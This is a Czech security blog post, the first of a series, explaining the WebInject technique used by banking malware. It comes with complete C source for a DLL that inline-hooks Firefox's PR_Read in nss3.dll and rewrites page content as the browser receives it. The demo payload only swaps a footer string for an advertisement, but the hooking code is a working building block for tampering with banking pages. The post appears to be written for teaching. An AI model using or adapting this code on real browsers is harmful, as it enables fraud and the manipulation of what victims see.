WebInject – 1. část

Pokud si někdo myslí, že technika Form-Grabbingu popsaná v předchozím článku je vrcholem umění počítačových kriminálníků a autorů bankovního malware, pak vás asi nepotěším. Ve srovnání s Web-Inject technikou je FormGrabbing jen chudý příbuzný (čímž rozhodně nemám zájem a nechci snižovat nebezpečnost FormGrabberů všeobecně). Následující dva články blíže popíší techniku WebInjectu. V první části si popíšeme, o které funkce se při programování opřít a ukážeme si jak upravovat obsah stránky k obrazu svému. Ve druhé části si pak popíšeme, jak si zajistit schopnost přidat do stránky vlastní obsah nebo kód a celý proces si demonstrujeme.

Teoretický přístup
Základní princip je velice jednoduchý (a prakticky je totožný s FormGrabbingem). Máme webový prohlížeč, který posílá na vybraný webový server požadavek o poskytnutí daného obsahu/stránky. Celý tento postup je založený na komunikaci pomocí HTTP požadavků (request) a HTTP odpovědí (response). Pokud jsme schopni zachytit odpověď serveru, kterým je tedy obsah/stránka, jsme schopni v něm upravit libovolnou věc. Jinými slovy: Pokud mi můj webový prohlížeč zobrazí stránku, nemusí to být ta stejná stránka, kterou mu poslal webový server. Pro názornost využijeme opět služeb webového prohlížeče FireFox.

Praktický přístup
Abychom mohli zachytit obsah webové stránky před jejím zobrazením, provedeme techniku tvrdého zahookování funkce PR_Read, kterou používá webový prohlížeč FireFox při příjmu odpovědi od serveru. Funkce PR_Read je exportována z DLL knihovny nss3.dll. Zájemci si mohou kód funkce prohlédnout na MDN. Pro injekci kódu do běžícího procesu opět využijeme techniku DLL injection. Obě výše zmíněné techniky jsem popsal v předchozích článcích. Z předchozího je jasně patrné, že čelá techika je téměř identická s technikou FormGrabbingu s tím rozdílem, že je zahookována jiná funkce.

Nakoukneme do dokumentace a zjistíme, že funkce PR_Read přebírá identické argumenty jako funkce PR_Write. To nám celý proces podstatně ulehčuje. Jen pro ujasnění:

PRInt32 PR_Read(
  PRFileDesc *fd, 
  void *buf, 
  PRInt32 amount);

První parametr je deskriptor souboru nebo socketu, který je aktuálně použit při volání funkce. Druhý parametr je zásobník pro příchozí data. Třetí parametr udává velikost zásobníku v bajtech. Návratovou hodnotou funkce je pak počet bajtů, který byl do zásobníku skutečně zapsán. Pokud je návratová hodnota rovna -1, došlo k chybě. Pokud někoho zajímá, jak velký zásobník je pro čtení dat vytvořen, jednoduše si může v debuggeru nastavit breakpoint na funkci PR_Read a prozkoumat, jak se velikost zásobníku v čase a vzhledem k události mění.
V předchozím článku jsme si předefinovali originální datové typy na své vlastní. Tedy, z datového typu PRInt32 jsme si udělali DWORD a z datového typu (struktury) PRFileDesc jsme si udělali taktéž DWORD, i když by byl asi vhodnější VOID. Takže se nám prototyp funkce změnil na:

DWORD PR_Read(
  DWORD *fd,
  const void *buf,
  DWORD amount);

Pro demonstraci celé myšlenky jsem si vybral portál SOOM a mým cílem je udělat si reklamu (kterou samozřejmě uvidí jen ten, kdo použije výsledný kód a stránku navštíví 🙂 ). V patičce stránky jsem si našel string ‚ISSN 1804-7270‘. Ten se objevuje na každé stránce, kde je zobrazena patička. Místo tohoto stringu vložím string sec-cave.cz.
Naše fake funkce tedy bude vypadat tak, že zavolá originální funkci a po návratu zkontroluje zásobník. Pokud bude obsahovat string ‚ISSN 1804-‚, začne s přepisováním jednotlivých znaků tohoto stringu a ukončí se. A to je vše 🙂

Tato zjednodušená technika má jednu zásadní vadu: Pokud bude náš hledaný řetezec rozdělen z důvodu nedostatku místa v zásobníku (například se z “ISSN 1804-‚ stane ‚ISSN‘ a ‚ 1804-‚), nepodaří se nám upravit tento string a naše snaha příjde vniveč. Tento nedostatek vyřešíme v následující části této mini série 🙂

Díky za reklamu kluci :) I když se zobrazuje pouze mně :)

Díky za reklamu kluci 🙂 I když se zobrazuje pouze mně 🙂

#include <windows.h>
#include <string.h>
 
#define OLDCODESIZE 6
 
typedef DWORD (*PR_Read_FuncType)(DWORD *fd, void *buf, DWORD amount);
 
void Hook(DWORD addrPR_Read);
DWORD Hooked_PR_Read(DWORD *fd, void *buf, DWORD amount);
 
LPVOID lpTrampoline;
 
BOOL APIENTRY DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){
  switch (fdwReason){
    case DLL_PROCESS_ATTACH:
    DWORD addrPR_Read = (DWORD)GetProcAddress(LoadLibraryA("nss3.dll"), "PR_Read");
    Hook(addrPR_Read);
      break;
  }
 
  return TRUE;
}
 
void Hook(DWORD addrPR_Read){
  DWORD oldProtect;
  DWORD hookedAddress;
  DWORD dwTrampolineJump;
 
  BYTE jmpToHooked[5] = { 0xE9, 0x00, 0x00, 0x00, 0x00 };
  BYTE tramJmpBack[5] = { 0xE9, 0x00, 0x00, 0x00, 0x00 };
  BYTE oldBytes[OLDCODESIZE];
 
  hookedAddress = ((DWORD)Hooked_PR_Read - (addrPR_Read + 5));
  memcpy(&jmpToHooked[1], &hookedAddress, 4);
 
  VirtualProtect((LPVOID)addrPR_Read, OLDCODESIZE, 
                 PAGE_EXECUTE_READWRITE, &oldProtect);
  ReadProcessMemory(GetCurrentProcess(), (LPCVOID)addrPR_Read, 
                    oldBytes, OLDCODESIZE, 0);
  WriteProcessMemory(GetCurrentProcess(), (LPVOID)addrPR_Read, 
                     jmpToHooked, 5, 0);
  VirtualProtect((LPVOID)addrPR_Read, OLDCODESIZE, 
                 oldProtect, 0);
 
  lpTrampoline = VirtualAlloc(NULL, 20, MEM_RESERVE | MEM_COMMIT, 
                              PAGE_EXECUTE_READWRITE);
 
  WriteProcessMemory(GetCurrentProcess(), lpTrampoline, 
                     oldBytes, OLDCODESIZE, 0);
 
  dwTrampolineJump = (addrPR_Read - (DWORD)lpTrampoline - 5);
  memcpy(&tramJmpBack[1], &dwTrampolineJump, 4);
 
  WriteProcessMemory(GetCurrentProcess(), 
                     (LPVOID)((DWORD)lpTrampoline + OLDCODESIZE), 
                     tramJmpBack, OLDCODESIZE, 0);
  VirtualProtect(lpTrampoline, 20, PAGE_EXECUTE_READ, 0);
}
 
DWORD Hooked_PR_Read(DWORD *fd, void *buf,DWORD amount){
  PR_Read_FuncType TruePR_Read = (PR_Read_FuncType)lpTrampoline;
  DWORD hResult = TruePR_Read(fd,buf,amount);
  char *szRewrite = NULL;
 
  if(strstr((char *)buf, "ISSN 1804-") != NULL){
    szRewrite = strstr((char *)buf, "ISSN 1804-");
    *szRewrite = 's';
    *(szRewrite + 1) = 'e';
    *(szRewrite + 2) = 'c';
    *(szRewrite + 3) = '-';
    *(szRewrite + 4) = 'c';
    *(szRewrite + 5) = 'a';
    *(szRewrite + 6) = 'v';
    *(szRewrite + 7) = 'e';
    *(szRewrite + 8) = '.';
    *(szRewrite + 9) = 'c';
    *(szRewrite + 10) = 'z';
    *(szRewrite + 11) = ' ';
    *(szRewrite + 12) = ' ';
    *(szRewrite + 13) = ' ';
  }
 
  return hResult;
}

2 komentáře u „WebInject – 1. část

    1. RubberDuck Autor příspěvku

      Nemám bohužel aktuálně dostatek času, ale budu se snažit ho napsat co nejdřív. Ovšem, zda to bude za týden, měsíc nebo čtvrtletí nedokážu nyní vůbec odhadnout.

Napsat komentář

Vaše emailová adresa nebude zveřejněna. Vyžadované informace jsou označeny *